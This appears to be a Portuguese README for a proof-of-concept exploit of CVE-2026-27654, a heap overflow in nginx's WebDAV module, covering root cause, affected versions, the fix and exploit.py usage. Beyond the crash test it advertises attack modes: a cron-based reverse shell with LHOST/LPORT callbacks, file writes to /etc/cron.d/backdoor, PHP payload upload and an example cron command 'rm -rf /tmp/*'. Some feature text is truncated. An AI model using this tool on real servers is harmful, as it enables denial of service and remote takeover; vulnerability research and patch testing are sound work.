
Prova de Conceito e análise técnica para CVE-2026-27654, uma vulnerabilidade de estouro de buffer baseado em heap no módulo HTTP WebDAV do NGINX, incluindo análise de causa raiz, reprodução e mitigação.
Este repositório fornece um exploit de prova de conceito para CVE‑2026‑27654, uma vulnerabilidade de heap‑overflow no ngx_http_dav_module do nginx. O bug surge de um underflow de tipo size_t ao manipular requisições MOVE/COPY com cabeçalhos Destination especialmente construídos e localizações baseadas em alias.
⚠️ Aviso: Esta ferramenta destina-se exclusivamente a pesquisa e testes de segurança autorizados. Utilize-a apenas contra sistemas que possui ou para os quais tem permissão explícita de teste. Os autores não assumem qualquer responsabilidade por uso indevido.
CVE-2026-27654 é um heap-based buffer overflow acionável remotamente no módulo HTTP WebDAV do NGINX, causado por um integer underflow em ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). A vulnerabilidade ocorre quando o comprimento do URI de destino é derivado subtraindo o prefixo de localização configurado do caminho do cabeçalho Destination. Como ambos os operandos são do tipo size_t, um caminho de destino mais curto faz com que a subtração envolva para um valor sem sinal próximo do máximo.
O comprimento envolvido é subsequentemente usado como argumento de tamanho para memcpy(), resultando numa escrita fora dos limites no heap que corrompe a memória e faz cair imediatamente o processo worker do NGINX. Um atacante remoto e não autenticado pode acionar esta condição de forma fiável usando uma única requisição MOVE ou COPY especialmente construída, direcionada a uma localização WebDAV mapeada por alias. Embora o processo master do NGINX reinicie automaticamente os workers falhados, requisições repetidas podem manter o serviço num ciclo contínuo de queda de workers, resultando num Denial-of-Service (DoS) persistente.
O AddressSanitizer (ASan) valida a vulnerabilidade com um erro negative-size-param em memcpy(), rastreando o caminho de execução desde ngx_http_dav_copy_move_handler() até ngx_http_core_module.c. A vulnerabilidade afeta NGINX 0.5.13–1.28.2 (stable) e 1.29.0–1.29.6 (mainline) quando compilado com --with-http_dav_module e configurado com a diretiva alias. O problema foi corrigido em NGINX 1.28.3 e 1.29.7 (commit ab4b5b8, PR #1210) através da validação adequada do comprimento do caminho de destino calculado antes das operações de memória.
MOVE/COPY que aciona o underflow de size‑t e derruba o worker vulnerável.alias gravável)./etc/cron.d/, com prompts interativos para LHOST/LPORT e um lembrete para iniciar o listener.--cron-command.--check) – modo não interativo que executa o teste de crash e imprime um veredito claro [VULNERABLE] / [NOT VULNERABLE], saindo com código 0 ou 1.--proxy) – encaminha todas as requisições através de um proxy HTTP/HTTPS (por exemplo, Burp Suite, mitmproxy) para depuração ou inspeção de tráfego.--payload-file (binário), --payload-text (texto literal) ou use o conteúdo de teste padrão.--destination-path, --alias-len, --escape-depth, --method, --location-prefix e mais.requests não estiver instalada, o script recorre ao http.client padrão do Python (o suporte a proxy é desativado no modo de fallback).git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
python exploit.py --target 192.168.1.100:8080
Você verá um menu numerado e será solicitado a selecionar um modo.
python exploit.py --target 192.168.1.100:8080 --check
Isso força o modo crash, executa o exploit e imprime [VULNERABLE] ou [NOT VULNERABLE] antes de sair com o código 0 ou 1.
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
Todas as requisições HTTP serão enviadas através do proxy especificado (útil para depuração com Burp).
| Flag | Descrição | Exemplo |
|---|---|---|
--target HOST:PORT | Instância nginx alvo (padrão: 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | Mostra as respostas HTTP completas (cabeçalhos e corpo). | -v |
--no-put | Ignora o PUT inicial (assume que o arquivo de gatilho já existe). Útil para testes repetidos. | --no-put |
--location-prefix | Prefixo do local DAV (padrão: /uploads/). Deve corresponder ao local alias na configuração do nginx. | --location-prefix /dav/ |
--remote-name | Nome do arquivo de origem remoto colocado dentro do local DAV (padrão: triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | Método DAV a ser usado para a requisição de destino (padrão: MOVE). | --method COPY |
--destination-path | Caminho URI de destino – usado para a aritmética de crash ou caminho final do arquivo para os modos de entrega. | --destination-path /etc/cron.d/backdoor |
--alias-len | Comprimento da string alias configurada (usado para exibição da aritmética de crash, padrão 13). | --alias-len 20 |
--escape-depth | Número de componentes de caminho ../ para escapar da raiz DAV (padrão 1). | --escape-depth 3 |
--payload-file | Arquivo local a ser enviado como payload. Substitui o conteúdo de teste padrão. | --payload-file ./shell.php |
--payload-text | Payload de texto literal para o modo write-file. | --payload-text "<?php phpinfo(); ?>" |
--lhost | Host de callback do reverse shell (para cron-shell). Se omitido, o script solicita interativamente. | --lhost 192.168.1.50 |
--lport | Porta de callback do reverse shell (para cron-shell). | --lport 4444 |
--cron-command | Comando a ser executado via cron (para cron-cmd). Se omitido, o script solicita interativamente. | --cron-command "rm -rf /tmp/*" |
--wait | Segundos de espera após a entrega via cron para que a tarefa seja executada (padrão 65). | --wait 120 |
--check | Executa a verificação de vulnerabilidade (teste de crash, não interativo). Exibe VULNERABLE/NOT VULNERABLE e encerra com código 0/1. | --check |
--proxy PROXY_URL | URL do proxy HTTP/HTTPS (ex.: http://127.0.0.1:8080). Requer a biblioteca requests. | --proxy http://127.0.0.1:8080 |
Nota: A maioria das flags é opcional. O script solicitará os argumentos obrigatórios ausentes (ex.:
--lhost/--lportparacron-shell) caso não sejam fornecidos.
crash